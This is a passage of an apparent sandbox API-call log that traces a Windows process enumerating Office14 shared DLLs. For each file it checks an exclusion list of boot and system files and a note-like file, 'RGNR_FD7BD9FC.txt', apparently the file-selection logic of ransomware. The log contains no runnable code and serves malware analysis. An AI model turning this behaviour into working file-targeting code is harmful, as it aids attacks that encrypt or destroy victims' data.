nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.717] lstrcpyW (in: lpString1=0x1eb638, lpString2="ODBCMON.DLL" | out: lpString1="ODBCMON.DLL") returned="ODBCMON.DLL" [0066.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ODBCMON.DLL") returned=".DLL" [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="autorun.inf") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="boot.ini") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootfont.bin") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootsect.bak") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootmgr") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootmgr.efi") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="bootmgfw.efi") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="desktop.ini") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="iconcache.db") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ntldr") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ntuser.dat") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ntuser.dat.log") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="ntuser.ini") returned 1 [0066.717] lstrcmpiW (lpString1="ODBCMON.DLL", lpString2="thumbs.db") returned -1 [0066.717] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.717] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.717] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.717] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x79fbd300, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x79fbd300, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0066.717] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0066.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.717] lstrcpyW (in: lpString1=0x1eb638, lpString2="OFFREL.DLL" | out: lpString1="OFFREL.DLL") returned="OFFREL.DLL" [0066.718] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL") returned=".DLL" [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="autorun.inf") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="boot.ini") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootfont.bin") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootsect.bak") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootmgr") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootmgr.efi") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="bootmgfw.efi") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="desktop.ini") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="iconcache.db") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntldr") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntuser.dat") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntuser.dat.log") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="ntuser.ini") returned 1 [0066.718] lstrcmpiW (lpString1="OFFREL.DLL", lpString2="thumbs.db") returned -1 [0066.718] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.718] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.718] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.718] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0066.718] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.718] lstrcpyW (in: lpString1=0x1eb638, lpString2="OPHPROXY.DLL" | out: lpString1="OPHPROXY.DLL") returned="OPHPROXY.DLL" [0066.718] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPHPROXY.DLL") returned=".DLL" [0066.718] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.718] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="autorun.inf") returned 1 [0066.718] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="boot.ini") returned 1 [0066.718] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootfont.bin") returned 1 [0066.718] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootsect.bak") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootmgr") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootmgr.efi") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="bootmgfw.efi") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="desktop.ini") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="iconcache.db") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ntldr") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ntuser.dat") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ntuser.dat.log") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="ntuser.ini") returned 1 [0066.719] lstrcmpiW (lpString1="OPHPROXY.DLL", lpString2="thumbs.db") returned -1 [0066.719] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.719] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.719] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0066.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.719] lstrcpyW (in: lpString1=0x1eb638, lpString2="OPTINPS.DLL" | out: lpString1="OPTINPS.DLL") returned="OPTINPS.DLL" [0066.719] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OPTINPS.DLL") returned=".DLL" [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="autorun.inf") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="boot.ini") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootfont.bin") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootsect.bak") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootmgr") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootmgr.efi") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="bootmgfw.efi") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="desktop.ini") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="iconcache.db") returned 1 [0066.719] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ntldr") returned 1 [0066.720] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ntuser.dat") returned 1 [0066.720] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ntuser.dat.log") returned 1 [0066.720] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="ntuser.ini") returned 1 [0066.720] lstrcmpiW (lpString1="OPTINPS.DLL", lpString2="thumbs.db") returned -1 [0066.720] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.720] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.720] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.720] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0066.720] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.720] lstrcpyW (in: lpString1=0x1eb638, lpString2="PJ11OD11.DLL" | out: lpString1="PJ11OD11.DLL") returned="PJ11OD11.DLL" [0066.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL") returned=".DLL" [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="autorun.inf") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="boot.ini") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootfont.bin") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootsect.bak") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootmgr") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootmgr.efi") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="bootmgfw.efi") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="desktop.ini") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="iconcache.db") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ntldr") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ntuser.dat") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ntuser.dat.log") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="ntuser.ini") returned 1 [0066.720] lstrcmpiW (lpString1="PJ11OD11.DLL", lpString2="thumbs.db") returned -1 [0066.720] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.720] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.721] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.721] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0066.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.721] lstrcpyW (in: lpString1=0x1eb638, lpString2="PJRESC.DLL" | out: lpString1="PJRESC.DLL") returned="PJRESC.DLL" [0066.721] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned=".DLL" [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="autorun.inf") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="boot.ini") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootfont.bin") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootsect.bak") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootmgr") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootmgr.efi") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="bootmgfw.efi") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="desktop.ini") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="iconcache.db") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ntldr") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ntuser.dat") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ntuser.dat.log") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="ntuser.ini") returned 1 [0066.721] lstrcmpiW (lpString1="PJRESC.DLL", lpString2="thumbs.db") returned -1 [0066.721] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.721] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.721] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.721] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0066.721] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.721] lstrcpyW (in: lpString1=0x1eb638, lpString2="PRJRES.DLL" | out: lpString1="PRJRES.DLL") returned="PRJRES.DLL" [0066.722] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned=".DLL" [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="autorun.inf") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="boot.ini") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootfont.bin") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootsect.bak") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootmgr") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootmgr.efi") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="bootmgfw.efi") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="desktop.ini") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="iconcache.db") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ntldr") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ntuser.dat") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ntuser.dat.log") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="ntuser.ini") returned 1 [0066.722] lstrcmpiW (lpString1="PRJRES.DLL", lpString2="thumbs.db") returned -1 [0066.722] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.722] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.722] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.722] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7555a380, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7555a380, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0066.722] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.722] lstrcpyW (in: lpString1=0x1eb638, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0066.722] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RGNR_FD7BD9FC.txt") returned=".txt" [0066.722] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0066.722] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0066.722] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.723] lstrcpyW (in: lpString1=0x1eb638, lpString2="RICHED20.DLL" | out: lpString1="RICHED20.DLL") returned="RICHED20.DLL" [0066.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned=".DLL" [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="autorun.inf") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="boot.ini") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootfont.bin") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootsect.bak") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootmgr") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootmgr.efi") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="bootmgfw.efi") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="desktop.ini") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="iconcache.db") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ntldr") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ntuser.dat") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ntuser.dat.log") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="ntuser.ini") returned 1 [0066.723] lstrcmpiW (lpString1="RICHED20.DLL", lpString2="thumbs.db") returned -1 [0066.723] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.723] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.723] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.723] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0066.723] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.723] lstrcpyW (in: lpString1=0x1eb638, lpString2="SERCONV.DLL" | out: lpString1="SERCONV.DLL") returned="SERCONV.DLL" [0066.723] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL") returned=".DLL" [0066.723] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0066.723] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="autorun.inf") returned 1 [0066.723] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="boot.ini") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootfont.bin") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootsect.bak") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootmgr") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootmgr.efi") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootmgfw.efi") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="desktop.ini") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="iconcache.db") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ntldr") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ntuser.dat") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ntuser.dat.log") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ntuser.ini") returned 1 [0066.724] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="thumbs.db") returned -1 [0066.724] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0066.724] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0066.724] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0066.724] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0066.724] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0066.724] lstrcpyW (in: lpString1=0x1eb638, lpString2="USP10.DLL" | out: lpString1="USP10.DLL") returned="USP10.DLL" [0066.724] PathFindExtensionW (pszPath="\\\\?\\C:\\Program 